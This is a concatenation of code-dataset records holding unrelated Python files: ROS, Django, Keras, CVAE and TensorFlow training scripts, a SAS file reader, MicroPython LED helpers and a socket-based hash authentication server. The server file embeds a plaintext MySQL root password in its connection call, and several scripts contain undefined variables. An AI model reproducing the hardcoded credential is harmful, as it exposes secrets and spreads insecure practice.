__name__ == '__main__':\n publisher()\n","sub_path":"ros_nodes/debugging_image_publisher/scripts/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"368016852","text":"from crispy_forms.bootstrap import FormActions\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, HTML, Field\nfrom django import forms\n\n\nclass FastaForm(forms.Form):\n seq = forms.CharField(widget=forms.Textarea(attrs={'rows':10, 'cols':100}), label=\"Fasta sequence\", required=False)\n fastafile = forms.FileField(required=False, label=\"Select Fasta file\")\n\n def __init__(self, *args, **kwargs):\n super(FastaForm, self).__init__(*args, **kwargs)\n\n self.helper = FormHelper()\n self.helper.form_class = 'form-inline'\n self.helper.label_class = 'col-lg-3'\n self.helper.field_class = 'col-lg-2'\n self.helper.form_method = 'post'\n self.helper.layout = Layout(\n Field('seq', placeholder='''>Example seq\nGCAAATGCCGAGTCA'''),\n HTML(\"

\"),\n 'fastafile',\n FormActions(\n Submit('submit', 'Submit', css_class='btn-primary')))\n","sub_path":"revcomp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"408528600","text":"import pickle\nfrom sklearn.utils import shuffle\nimport tensorflow as tf\nfrom tensorflow.contrib.layers import flatten\nimport numpy as np\nimport cv2\n\n# define image input size\nHEIGHT = 800\nWIDTH = 600\nnum_channel = 3\nnum_class = 4\n\n# training parameters setting\nepoch = 500\nbatch_size = 32\nlearning_rate = 0.000001\n\nsplit = 0.9\n\nmodel = tf.contrib.keras.models.Sequential()\nmodel.add(tf.contrib.keras.layers.Conv2D(8, 4, 4, activation='relu', padding=\"valid\", batch_input_shape=(None, 600, 800, 3,)))\nmodel.add(tf.contrib.keras.layers.Conv2D(32, 3, 3, activation='relu', padding=\"valid\"))\nmodel.add(tf.contrib.keras.layers.Conv2D(64, 2, 2, activation='relu', padding=\"valid\"))\nmodel.add(tf.contrib.keras.layers.Conv2D(96, 2, 2, activation='relu', padding=\"valid\"))\nmodel.add(tf.contrib.keras.layers.Conv2D(128, 2, 2, activation='relu', padding=\"valid\"))\nmodel.add(tf.contrib.keras.layers.Flatten())\nmodel.add(tf.contrib.keras.layers.Dense(256))\nmodel.add(tf.contrib.keras.layers.Dense(128))\nmodel.add(tf.contrib.keras.layers.Dense(64))\nmodel.add(tf.contrib.keras.layers.Dense(32))\nmodel.add(tf.contrib.keras.layers.Dense(4))\nmodel.add(tf.contrib.keras.layers.Activation('softmax'))\n\nmodel.compile(optimizer=\"adam\", loss=\"categorical_crossentropy\", metrics=['mse', 'accuracy'])\n\ndef get_batch(data_list, label_list):\n batch_labels = []\n batch_data = []\n for key, file_name in enumerate(data_list):\n img_data = cv2.imread(file_name)\n img_data = cv2.resize(img_data, (HEIGHT, WIDTH))\n batch_data.append(img_data/255.0)\n temp_label = label_list[key]\n if temp_label == 4:\n temp_label = 3\n batch_labels.append(temp_label)\n return np.array(batch_data), tf.contrib.keras.utils.to_categorical(np.array(batch_labels), num_classes=4)\n\ndef train(data, label):\n train_data = data[:int(len(data) * split)]\n print(len(train_data))\n train_label = label[:int(len(data) * split)]\n validation_data = data[int(len(data) * split):]\n validation_label = label[int(len(data) * split):]\n highest_accuracy = 0.0\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n print('Start training ...\\n')\n for e in range(epoch):\n current_image = 0\n for start in range(0, len(train_data), batch_size):\n end = start + batch_size\n x_batch, y_batch = get_batch(train_data[start:end], train_label[start:end])\n model.train_on_batch(x_batch, y_batch)\n if current_image % 3 == 0:\n print(\"Processing image: \" + str(current_image * batch_size))\n current_image += 1\n validation_accuracy = evaluate(validation_data, validation_label)\n print(\"epoch \", e + 1)\n print(\"Validation accuracy = {:.3f}\\n\".format(validation_accuracy))\n train_data, train_label = shuffle(train_data, train_label)\n if validation_accuracy > highest_accuracy:\n highest_accuracy = validation_accuracy\n model.save('keras_light_model' + str(e) + '_' + str(validation_accuracy) + '.h5')\n print(\"Model Saved\")\n\n\ndef evaluate(data, label):\n\n num_examples = len(data)\n total_accuracy = 0\n sess = tf.get_default_session()\n num_batches = 0\n for offset in range(0, num_examples, batch_size):\n batch_x, batch_y = get_batch(data[offset:offset+batch_size], label[offset:offset+batch_size])\n loss, mse, accuracy = model.evaluate(batch_x, batch_y)\n print(accuracy)\n total_accuracy += accuracy\n num_batches += 1\n return total_accuracy / num_batches\n\n# -------------------------------------------------------------\n#\n# Entrance\n#\n#--------------------------------------------------------------\n\n# load data\ndata_path = 'data/simulator.pkl'\nwith open(data_path, 'rb') as f:\n data = pickle.load(f)\n\nimages = np.array(data['image'])\nlabels = np.array(data['label'])\n\n# shuffle data\ndata, label = shuffle(images, labels)\n\n# train\ntrain(data, label)\n","sub_path":"ros/src/tl_detector/light_classification/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59134553","text":"from django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom .models import DataValue\n\n\n@receiver(post_save, sender=DataValue)\ndef save_precision(sender, instance, created, **kwargs):\n field = instance.field\n if field.precision is None:\n value = str(instance.value)\n decimal_posision = value.find('.')\n if decimal_posision == -1:\n field.precision = 0\n else:\n field.precision = len(value) - decimal_posision - 1\n field.save()","sub_path":"apps/datastream/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"368873377","text":"'''\nCVAE model.\n'''\nimport json\nimport torch\nimport os\nimport numpy as np\nfrom model_v2 import *\nfrom torch import optim\nfrom torch.distributions import kl_divergence, Normal\nfrom torch.nn import functional as F\nfrom torch.optim.lr_scheduler import ExponentialLR\nfrom sklearn.model_selection import train_test_split\nfrom ptb_v2 import *\n\n# initialization\nwith open('model_config_v2.json') as f:\n args = json.load(f)\nif not os.path.isdir('log'):\n os.mkdir('log')\nif not os.path.isdir('params'):\n os.mkdir('params')\nsave_path = 'params/{}.pt'.format(args['name'])\n\nfrom datetime import datetime\ntimestamp = str(datetime.now())\nsave_path_timing = 'params/{}.pt'.format(args['name'] + \"_\" + timestamp)\n\n# model dimensions\nEVENT_DIMS = 342\nRHYTHM_DIMS = 3\nNOTE_DIMS = 16\nCHROMA_DIMS = 24\n\nmodel = MusicAttrCVAE(roll_dims=EVENT_DIMS, rhythm_dims=RHYTHM_DIMS, note_dims=NOTE_DIMS, \n chroma_dims=CHROMA_DIMS,\n hidden_dims=args['hidden_dim'], z_dims=args['z_dim'], \n n_step=args['time_step'])\n\nif os.path.exists(save_path):\n print(\"Loading {}\".format(save_path))\n model.load_state_dict(torch.load(save_path))\nelse:\n print(\"Save path: {}\".format(save_path))\n\noptimizer = optim.Adam(model.parameters(), lr=args['lr'])\n\nif torch.cuda.is_available():\n print('Using: ', torch.cuda.get_device_name(torch.cuda.current_device()))\n model.cuda()\nelse:\n print('CPU mode')\n\nstep, pre_epoch = 0, 0\nbatch_size = args[\"batch_size\"]\nmodel.train()\n\n# dataloaders\nis_shuffle = True\ndata_lst, rhythm_lst, note_density_lst, chroma_lst = get_classic_piano()\ntlen, vlen = int(0.8 * len(data_lst)), int(0.9 * len(data_lst))\ntrain_ds_dist = YamahaDataset(data_lst, rhythm_lst, note_density_lst, \n chroma_lst, mode=\"train\")\ntrain_dl_dist = DataLoader(train_ds_dist, batch_size=batch_size, shuffle=is_shuffle, num_workers=0)\nval_ds_dist = YamahaDataset(data_lst, rhythm_lst, note_density_lst, \n chroma_lst, mode=\"val\")\nval_dl_dist = DataLoader(val_ds_dist, batch_size=batch_size, shuffle=is_shuffle, num_workers=0)\ntest_ds_dist = YamahaDataset(data_lst, rhythm_lst, note_density_lst, \n chroma_lst, mode=\"test\")\ntest_dl_dist = DataLoader(test_ds_dist, batch_size=batch_size, shuffle=is_shuffle, num_workers=0)\ndl = train_dl_dist\nprint(\"Train / Validation / Test\")\nprint(len(train_ds_dist), len(val_ds_dist), len(test_ds_dist))\n\n\ndef std_normal(shape):\n N = Normal(torch.zeros(shape), torch.ones(shape))\n if torch.cuda.is_available():\n N.loc = N.loc.cuda()\n N.scale = N.scale.cuda()\n return N\n\n\ndef loss_function(out, d,\n dis,\n step,\n beta=.1):\n # anneal beta\n if step < 1000:\n beta0 = 0\n else:\n beta0 = min((step - 10000) / 10000 * beta, beta) \n\n CE_X = F.nll_loss(out.view(-1, out.size(-1)),\n d.view(-1), reduction='mean')\n\n # all distribution conform to standard gaussian\n inputs = dis\n normal = std_normal(dis.mean.size())\n KLD = kl_divergence(dis, normal).mean()\n\n return CE_X + beta0 * KLD, CE_X\n\n\ndef train(step, d_oh, r_oh, n_oh, d, r, n, c, r_density, n_density):\n \n optimizer.zero_grad()\n\n res = model(d_oh, r_oh, n_oh, c, r_density, n_density)\n\n # package output\n out, dis, z = res\n \n # calculate loss\n loss, CE_X = loss_function(out, d, dis, step, beta=args['beta'])\n \n loss.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), 1)\n optimizer.step()\n step += 1\n \n output = loss.item(), CE_X.item()\n return step, output\n\n\ndef evaluate(d_oh, r_oh, n_oh, d, r, n, c, r_density, n_density):\n\n # calculate rhythm and note density first\n r_density = torch.Tensor([Counter(k.cpu().detach().numpy())[1] / len(k) for k in r]).cuda()\n n_density = torch.Tensor([sum(k.cpu().detach().numpy()) / len(k) for k in n]).cuda()\n r_density = r_density.unsqueeze(-1)\n n_density = n_density.unsqueeze(-1)\n \n res = model(d_oh, r_oh, n_oh, c, r_density, n_density)\n\n # package output\n out, dis, z = res\n \n # calculate loss\n loss, CE_X = loss_function(out, d, dis, step, beta=args['beta'])\n \n output = loss.item(), CE_X.item()\n return output\n\n\ndef convert_to_one_hot(input, dims):\n if len(input.shape) > 1:\n input_oh = torch.zeros((input.shape[0], input.shape[1], dims)).cuda()\n input_oh = input_oh.scatter_(-1, input.unsqueeze(-1), 1.)\n else:\n input_oh = torch.zeros((input.shape[0], dims)).cuda()\n input_oh = input_oh.scatter_(-1, input.unsqueeze(-1), 1.)\n return input_oh\n\n\ndef training_phase(step):\n print(\"D - Data, R - Rhythm, N - Note, RD - Reg. Rhythm Density, ND- Reg. Note Density\")\n for i in range(1, args['n_epochs'] + 1):\n print(\"Epoch {} / {}\".format(i, args['n_epochs']))\n\n batch_loss, batch_test_loss = 0, 0\n b_CE_X, b_CE_R, b_CE_N = 0, 0, 0\n t_CE_X, t_CE_R, t_CE_N = 0, 0, 0\n b_l_r, b_l_n, t_l_r, t_l_n = 0, 0, 0, 0\n\n for j, x in tqdm(enumerate(train_dl_dist), total=len(train_dl_dist)):\n\n d, r, n, c, r_density, n_density = x\n d, r, n, c = d.cuda().long(), r.cuda().long(), \\\n n.cuda().long(), c.cuda().float()\n r_density, n_density = r_density.cuda().float().unsqueeze(-1), \\\n n_density.cuda().float().unsqueeze(-1)\n\n d_oh = convert_to_one_hot(d, EVENT_DIMS)\n r_oh = convert_to_one_hot(r, RHYTHM_DIMS)\n n_oh = convert_to_one_hot(n, NOTE_DIMS)\n\n step, loss = train(step, d_oh, r_oh, n_oh,\n d, r, n, c, r_density, n_density)\n loss, CE_X = loss\n batch_loss += loss\n b_CE_X += CE_X\n\n for j, x in tqdm(enumerate(val_dl_dist), total=len(val_dl_dist)):\n \n d, r, n, c, r_density, n_density = x\n d, r, n, c = d.cuda().long(), r.cuda().long(), \\\n n.cuda().long(), c.cuda().float()\n r_density, n_density = r_density.cuda().float().unsqueeze(-1), \\\n n_density.cuda().float().unsqueeze(-1)\n\n d_oh = convert_to_one_hot(d, EVENT_DIMS)\n r_oh = convert_to_one_hot(r, RHYTHM_DIMS)\n n_oh = convert_to_one_hot(n, NOTE_DIMS)\n\n loss = evaluate(d_oh, r_oh, n_oh,\n d, r, n, c, r_density, n_density)\n loss, CE_X = loss\n batch_test_loss += loss\n t_CE_X += CE_X\n \n print('batch loss: {:.5f} {:.5f}'.format(batch_loss / len(train_dl_dist),\n batch_test_loss / len(val_dl_dist)))\n print(\"train loss by term - D: {:.4f} R: {:.4f} N: {:.4f} RD: {:.4f} ND: {:.4f}\".format(\n b_CE_X / len(train_dl_dist), b_CE_R / len(train_dl_dist), \n b_CE_N / len(train_dl_dist),\n b_l_r / len(train_dl_dist), b_l_n / len(train_dl_dist)\n ))\n print(\"test loss by term - D: {:.4f} R: {:.4f} N: {:.4f} RD: {:.4f} ND: {:.4f}\".format(\n t_CE_X / len(val_dl_dist), t_CE_R / len(val_dl_dist), \n t_CE_N / len(val_dl_dist),\n t_l_r / len(val_dl_dist), t_l_n / len(val_dl_dist),\n ))\n\n torch.save(model.cpu().state_dict(), save_path)\n\n timestamp = str(datetime.now())\n save_path_timing = 'params/{}.pt'.format(args['name'] + \"_\" + timestamp)\n torch.save(model.cpu().state_dict(), save_path_timing)\n\n if torch.cuda.is_available():\n model.cuda()\n print('Model saved as {}!'.format(save_path))\n\n\ndef evaluation_phase():\n if torch.cuda.is_available():\n model.cuda()\n\n if os.path.exists(save_path):\n print(\"Loading {}\".format(save_path))\n model.load_state_dict(torch.load(save_path))\n \n def run(dl):\n \n t_CE_X, t_CE_R, t_CE_N = 0, 0, 0\n t_l_r, t_l_n = 0, 0\n t_acc_x, t_acc_r, t_acc_n = 0, 0, 0\n data_len = 0\n\n for i, x in tqdm(enumerate(dl), total=len(dl)):\n d, r, n, c, r_density, n_density = x\n d, r, n, c = d.cuda().long(), r.cuda().long(), \\\n n.cuda().long(), c.cuda().float()\n r_density, n_density = r_density.cuda().float().unsqueeze(-1), \\\n n_density.cuda().float().unsqueeze(-1)\n\n d_oh = convert_to_one_hot(d, EVENT_DIMS)\n r_oh = convert_to_one_hot(r, RHYTHM_DIMS)\n n_oh = convert_to_one_hot(n, NOTE_DIMS)\n \n res = model(d_oh, r_oh, n_oh, c, r_density, n_density)\n\n # package output\n out, dis, z = res\n \n # calculate loss\n loss, CE_X = loss_function(out, d, dis, step, beta=args['beta'])\n\n # update\n t_CE_X += CE_X.item()\n \n # calculate accuracy\n def acc(a, b, t, trim=False):\n a = torch.argmax(a, dim=-1).squeeze().cpu().detach().numpy()\n b = b.squeeze().cpu().detach().numpy()\n\n b_acc = 0\n for i in range(len(a)):\n a_batch = a[i]\n b_batch = b[i]\n\n if trim:\n b_batch = np.trim_zeros(b_batch)\n a_batch = a_batch[:len(b_batch)]\n\n correct = 0\n for j in range(len(a_batch)):\n if a_batch[j] == b_batch[j]:\n correct += 1\n acc = correct / len(a_batch)\n b_acc += acc\n \n return b_acc\n\n acc_x = acc(out, d, \"d\", trim=True)\n data_len += out.shape[0]\n\n # accuracy update store\n t_acc_x += acc_x\n \n \n # Print results\n print(\"CE: {:.4} {:.4} {:.4}\".format(t_CE_X / len(dl),\n t_CE_R / len(dl), \n t_CE_N / len(dl)))\n \n print(\"Regularized: {:.4} {:.4}\".format(t_l_r / len(dl),\n t_l_n / len(dl)))\n\n print(\"Adversarial: {:.4} {:.4}\".format(t_l_adv_r / len(dl),\n t_l_adv_n / len(dl)))\n \n print(\"Acc: {:.4} {:.4} {:.4}\".format(t_acc_x / data_len,\n t_acc_r / data_len, \n t_acc_n / data_len))\n \n if is_class:\n print(\"Class acc: {:.4} {:.4}\".format(c_acc_r / data_len,\n c_acc_n / data_len))\n\n dl = DataLoader(train_ds_dist, batch_size=128, shuffle=False, num_workers=0)\n run(dl)\n dl = DataLoader(test_ds_dist, batch_size=128, shuffle=False, num_workers=0)\n run(dl)\n\n\ntraining_phase(step)\nevaluation_phase()\n\n","sub_path":"trainer_cvae.py","file_name":"trainer_cvae.py","file_ext":"py","file_size_in_byte":11053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"242726143","text":"from functools import reduce\n\nwith open('step_5_5.txt', 'w') as file:\n file.write('25,58,96,14,26,85,47,36,45,25,14,96,36,256')\n\nwith open('step_5_5.txt', 'r') as file:\n numbers = file.read().split(',')\n summa = reduce(lambda x, y: int(x) + int(y), numbers)\n\nprint(summa)","sub_path":"step_5/step_5_5.py","file_name":"step_5_5.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"513559634","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n## @package DataCollectionDaemon \n# @brief sas7bdat_parallel_reader module - Read .sas7bdat files in page by page\n#\n# @par Change History\n# @verbatim\n# VER Date User ID Reason\n# ----- -------- ------------------- -----------------------------------------\n# 1.1 02.09.14 Kelvin.Liu@hgst.com Initial creation\n#\n# @endverbatim\n\n\nfrom sas7bdat import SAS7BDAT\nimport os\n\n\nclass SAS7BDAT_Parallel(SAS7BDAT):\n \"\"\"Read *.sas7bdat files page by page\"\"\"\n\n def __init__(self, path):\n \"\"\"Initialize a SAS7BDAT_Parallel() object\n\n Parameters:\n path - sas7bdat file path\n\n Returns:\n yield data page by page\n\n Raises:\n None\n \"\"\"\n\n super(SAS7BDAT_Parallel, self).__init__(path)\n import pandas as pd\n self.col_names = [x.name for x in self.header.cols]\n self.col_len = len(self.col_names)\n\n def read_data_by_page(self):\n \"\"\"\n read .sas7bdat files and yield data in pages as pandas DataFrame format\n \"\"\"\n\n if self.header.compression is not None:\n self.logger.error(\n '[%s] compressed data not yet supported',\n os.path.basename(self.path))\n\n with open(self.path, 'rb') as f:\n f.seek(self.header.headerlength)\n\n for page in self.readPages(f, self.header.pagecount,\n self.header.pagesize):\n if page.type not in self.PAGE_MIX_DATA and not\\\n (page.type == self.PAGE_META and\n self.header.compression == 'RLE'):\n continue\n\n yield self._get_page(page)\n\n '''\n ## TODO: apply multiprocessing, then reduce()\n pages = [page for page in self.readPages(\n f, self.header.pagecount, self.header.pagesize) \\\n if page.type in self.PAGE_MIX_DATA or \\\n (page.type == self.PAGE_META and self.header.compression == 'RLE')]\n\n from multiprocessing import Pool\n pool = Pool(processes=processes)\n df_list = pool.map(unwrap_self_get_page, zip([self]*len(pages), pages))\n results = pd.concat(df_list, ignore_index=True)\n return results#.reset_index(drop=True)\n '''\n\n def _get_page(self, page):\n\n page = page._asdict()\n if page['type'] == self.PAGE_META:\n page['data'] = self.uncompressData(page['data'])\n rowcountp = self.header.rowcountfp\n base = 129 + page['subheadercount'] * 24\n elif self.u64:\n if page['type'] in self.PAGE_MIX:\n rowcountp = self.header.rowcountfp\n base = 40 + page['subheadercount'] * 24\n base += (base % 8)\n else:\n rowcountp = self.readVal('h', page['data'], 34, 2)\n base = 40\n else:\n if page['type'] in self.PAGE_MIX:\n rowcountp = self.header.rowcountfp\n base = 24 + page['subheadercount'] * 12\n base += (base % 8)\n else:\n rowcountp = self.readVal('h', page['data'], 18, 2)\n base = 24\n if rowcountp > self.header.rowcount:\n rowcountp = self.header.rowcount\n\n df = pd.DataFrame(columns=self.col_names)\n for index_ in xrange(rowcountp):\n #print i\n row = []\n for col in self.header.cols:\n offset = base + col.attr.offset\n if col.attr.length > 0:\n # import pdb; pdb.set_trace()\n raw = page['data'][offset:offset + col.attr.length]\n try:\n if col.attr.type == 'character':\n val = self.readVal('s', raw, 0,\n col.attr.length)\n val = val.lstrip().strip()\n else:\n val = self.readVal(col.attr.type, raw, 0,\n col.attr.length)\n val = self.formatValue(val, col.label.format)\n except KeyboardInterrupt:\n return\n except:\n break\n row.append(val)\n base += self.header.rowlength\n if row and len(row) == self.col_len:\n #print 'SAS7BDAT_Parallel'\n df.loc[index_] = row\n else:\n continue\n\n return df.reset_index(drop=True)\n\n'''\ndef unwrap_self_get_page(arg, **kwargs):\n return SAS7BDAT_Parallel._get_page(*arg, **kwarg)\n'''","sub_path":"data_consolidation_daemon/utils/base/sas7bdat_parallel_reader.py","file_name":"sas7bdat_parallel_reader.py","file_ext":"py","file_size_in_byte":4797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539358906","text":"#FILE WITH FUNCTIONS USED IN ESP8266\n\nimport config\nimport machine\nimport time\n\nin_led = machine.Pin(2, machine.Pin.OUT)\nif (config.PARAMS['ENABLE_EXTERNAL_LED']):\n out_led = machine.Pin(config.GPIO['EXTERNAL_LED'], machine.Pin.OUT)\nif (config.PARAMS['ENABLE_BUZZER']):\n buzzer = machine.Pin(config.GPIO['BUZZER'], machine.Pin.OUT)\n buzzer.value(0)\n\ndef internal_led_blick(count,delay): \n if (config.PARAMS['ENABLE_INTERNAL_LED']):\n for i in range(count):\n in_led.off()\n time.sleep_ms(delay)\n in_led.on()\n time.sleep_ms(delay) \n\ndef external_led_blick(count, delay):\n if (config.PARAMS['ENABLE_EXTERNAL_LED']):\n for i in range(count):\n out_led.on()\n time.sleep_ms(delay)\n out_led.off()\n time.sleep_ms(delay)\n\ndef beep(count, delay):\n if (config.PARAMS['ENABLE_BUZZER']):\n for i in range(count):\n buzzer.value(1)\n time.sleep_ms(delay)\n buzzer.value(0)\n time.sleep_ms(delay) ","sub_path":"egs/smarthome/device/esp_pir/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"430213547","text":"import socket\nfrom helper import *\nfrom my_hash_function import *\nimport pymysql\nimport crypt\nimport time\nfrom binascii import b2a_hex, a2b_hex\n# 创建服务端的socket对象socketserver\nsocketserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nhost = '127.0.0.1'\nport = 9092\ndb=pymysql.connect(host='localhost',user='root',passwd='781886704',db='ddwdatabase',charset='utf8')\ncursor = db.cursor()\n# 绑定地址（包括ip地址会端口号）\nsocketserver.bind((host, port))\n# 设置监听\nsocketserver.listen(5)\n# 等待客户端的连接\n# 注意：accept()函数会返回一个元组\n# 元素1为客户端的socket对象，元素2为客户端的地址(ip地址，端口号)\nclientsocket, addr = socketserver.accept()\n\n\n\n# while循环是为了能让对话一直进行\nwhile True:\n # 接收客户端的请求\n recvmsg = clientsocket.recv(1024)\n # 把接收到的数据进行解码\n strData = recvmsg.decode(\"utf-8\")\n username,hashcode2,mac=strData.split('\\n')[0],strData.split('\\n')[1],strData.split('\\n')[2] # 用户名，散列值2，认证码明文\n sql = \"SELECT hashvalue1 FROM server_dict WHERE username = \"+\"\\'\"+username+\"\\'\"\n cursor.execute(sql)\n tt=cursor.fetchone()\n print('在数据库查到了用户名对应的散列值1',tt)\n # hashvalue1=answer_dict.get(username,None)\n hashvalue1=tt[0] if tt !=None else None # 在数据库查到了用户名对应的散列值1\n print(\"输出用户名、散列值2、认证码、散列值1:\", username, hashcode2,mac, hashvalue1)\n msg='WRONG'.encode()\n if hashvalue1 != None:\n hashvalue2 = hashForString('sha1',hashvalue1+mac) # 用服务器数据库存着的对应用户名的散列值1和认证码求散列值2\n if hashvalue2==hashcode2:\n print('success')\n # msg=my_encode(mac,hashvalue1) # 认证成功\n cr=crypt.PrpCrypt(hashvalue1[:16]) # 以散列值1作为密钥\n msg=cr.encrypt(mac) # 把认证码加密发给客户端\n clientsocket.send(msg)\n\ncursor.close()\nconnect.close()\nsocketserver.close()\n\n","sub_path":"网络安全/实验4/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"190108913","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse, sys, tempfile, os, glob, pickle, tqdm, math, time\nimport tensorflow as tf\nimport config\nfrom tf_data_handler import inputs\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom textwrap import wrap\n\nclass cnn_reverse_model:\n def __init__(self, trainable=True):\n self.trainable = trainable\n self.data_dict = None\n self.var_dict = {}\n\n def __getitem__(self, item):\n return getattr(self,item)\n\n def __contains__(self, item):\n return hasattr(self, item)\n\n def get_size(self, input_data):\n return np.prod([int(x) for x in input_data.get_shape()[1:]])\n\n def build(self, input_data, input_shape, output_shape, train_mode=None, verbose=True, full_cov=False):\n if verbose:\n print (\"Building the network...\")\n network_input = tf.identity(input_data, name='input')\n with tf.name_scope('reshape'):\n x_data = tf.reshape(network_input, [-1, input_shape[0], input_shape[1], input_shape[2]])\n \n # conv layer 1\n with tf.variable_scope('conv1'):\n self.W_conv1 = self.weight_variable([1, 5, input_shape[2], 8],var_name='wconv1')\n self.b_conv1 = self.bias_variable([8],var_name='bconv1')\n #self.norm1 = tf.layers.batch_normalization(self.conv2d(x_data, self.W_conv1,stride=[1,1,1,1]) + self.b_conv1,scale=True,center=True,training=train_mode,name='batchnorm1')\n self.norm1 = self.conv2d(x_data, self.W_conv1,stride=[1,1,1,1]) + self.b_conv1\n self.h_conv1 = tf.nn.leaky_relu(self.norm1, alpha=0.1)\n if verbose:\n print(self.h_conv1.get_shape())\n\n # conv layer 2\n with tf.variable_scope('conv2'):\n self.W_conv2 = self.weight_variable([1, 5, 8, 16],var_name='wconv2')\n self.b_conv2 = self.bias_variable([16],var_name='bconv2')\n #self.norm2 = tf.layers.batch_normalization(self.conv2d(self.h_conv1, self.W_conv2, stride=[1, 2, 2, 1]) + self.b_conv2,scale=True,center=True,training=train_mode,name='batchnorm2')\n self.norm2 = self.conv2d(self.h_conv1, self.W_conv2, stride=[1, 2, 2, 1]) + self.b_conv2\n self.h_conv2 = tf.nn.leaky_relu(self.norm2, alpha=0.1)\n if verbose:\n print(self.h_conv2.get_shape())\n\n # conv layer 3\n with tf.variable_scope('conv3'):\n self.W_conv3 = self.weight_variable([1, 5, 16, 32],var_name='wconv3')\n self.b_conv3 = self.bias_variable([32],var_name='bconv3')\n #self.norm3 = tf.layers.batch_normalization(self.conv2d(self.h_conv2, self.W_conv3, stride=[1, 2, 2, 1]) + self.b_conv3, scale=True,center=True,training=train_mode,name='batchnorm3')\n self.norm3 = self.conv2d(self.h_conv2, self.W_conv3, stride=[1, 2, 2, 1]) + self.b_conv3\n self.h_conv3 = tf.nn.leaky_relu(self.norm3,alpha=0.1)\n if verbose:\n print(self.h_conv3.get_shape())\n\n self.fc1 = self.fc_layer(self.h_conv3, self.get_size(self.h_conv3), 256, 'fc1')\n if verbose:\n print(self.fc1.get_shape())\n\n #self.fc2 = self.fc_layer(self.fc1, self.get_size(self.fc1), 512, 'fc2')\n #if verbose:\n # print(self.fc2.get_shape())\n\n self.fc2 = self.fc_layer(self.fc1, self.get_size(self.fc1), 128, 'fc2')\n if verbose:\n print(self.fc2.get_shape())\n\n #self.fc4 = self.fc_layer(self.fc3, self.get_size(self.fc3), 64, 'fc4')\n #if verbose:\n # print(self.fc4.get_shape())\n\n nparams = np.prod(output_shape)\n if full_cov:\n self.final_layer = self.fc_layer(self.fc2, self.get_size(self.fc2), nparams + nparams ** 2, 'final_layer')\n else:\n self.final_layer = self.fc_layer(self.fc2, self.get_size(self.fc2), nparams * 2, 'final_layer')\n self.final_layer = tf.concat([self.final_layer[:, :nparams], tf.nn.softplus(self.final_layer[:, nparams:])], 1)\n\n self.output = tf.identity(self.final_layer,name='output')\n if verbose:\n print(self.output.get_shape())\n\n def conv2d(self, x, W, stride=[1,1,1,1]):\n \"\"\"conv2d returns a 2d convolution layer with full stride.\"\"\"\n return tf.nn.conv2d(x, W, strides=stride, padding='SAME')\n\n def max_pool_2x2(self, x):\n \"\"\"max_pool_2x2 downsamples a feature map by 2X.\"\"\"\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\n def max_pool_2x2_1(self, x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 1, 1, 1], padding='SAME')\n\n def weight_variable(self, shape, var_name):\n \"\"\"weight_variable generates a weight variable of a given shape.\"\"\"\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.get_variable(name=var_name,initializer=initial)\n\n def bias_variable(self, shape, var_name):\n \"\"\"bias_variable generates a bias variable of a given shape.\"\"\"\n initial = tf.constant(0.001, shape=shape)\n return tf.get_variable(name=var_name,initializer=initial)\n\n def fc_layer(self, bottom, in_size, out_size, name):\n with tf.variable_scope(name):\n weights, biases = self.get_fc_var(in_size, out_size, name)\n x = tf.reshape(bottom, [-1, in_size])\n fc = tf.nn.bias_add(tf.matmul(x, weights), biases)\n return fc\n\n def get_fc_var(self, in_size, out_size, name, init_type='xavier'):\n if init_type == 'xavier':\n weight_init = [\n [in_size, out_size],\n tf.contrib.layers.xavier_initializer(uniform=False)]\n else:\n weight_init = tf.truncated_normal(\n [in_size, out_size], 0.0, 0.001)\n bias_init = tf.truncated_normal([out_size], .0, .001)\n weights = self.get_var(weight_init, name, 0, name + \"_weights\")\n biases = self.get_var(bias_init, name, 1, name + \"_biases\")\n\n return weights, biases\n\n def get_var(\n self, initial_value, name, idx,\n var_name, in_size=None, out_size=None):\n if self.data_dict is not None and name in self.data_dict:\n value = self.data_dict[name][idx]\n else:\n value = initial_value\n\n if self.trainable:\n # get_variable, change the boolean to numpy\n if type(value) is list:\n var = tf.get_variable(\n name=var_name, shape=value[0], initializer=value[1])\n else:\n var = tf.get_variable(name=var_name, initializer=value)\n else:\n var = tf.constant(value, dtype=tf.float32, name=var_name)\n #var = tf.get_variable(name=var_name, initializer=value)\n\n self.var_dict[(name, idx)] = var\n\n return var\n\n'''\n# assumes isotropicity\n'''\ndef heteroskedastic_loss(p, q, nparams):\n param_est = p[:,:nparams]\n var = p[:, nparams:]\n diff_tensor = (param_est - q) ** 2\n return tf.reduce_sum( diff_tensor/var + 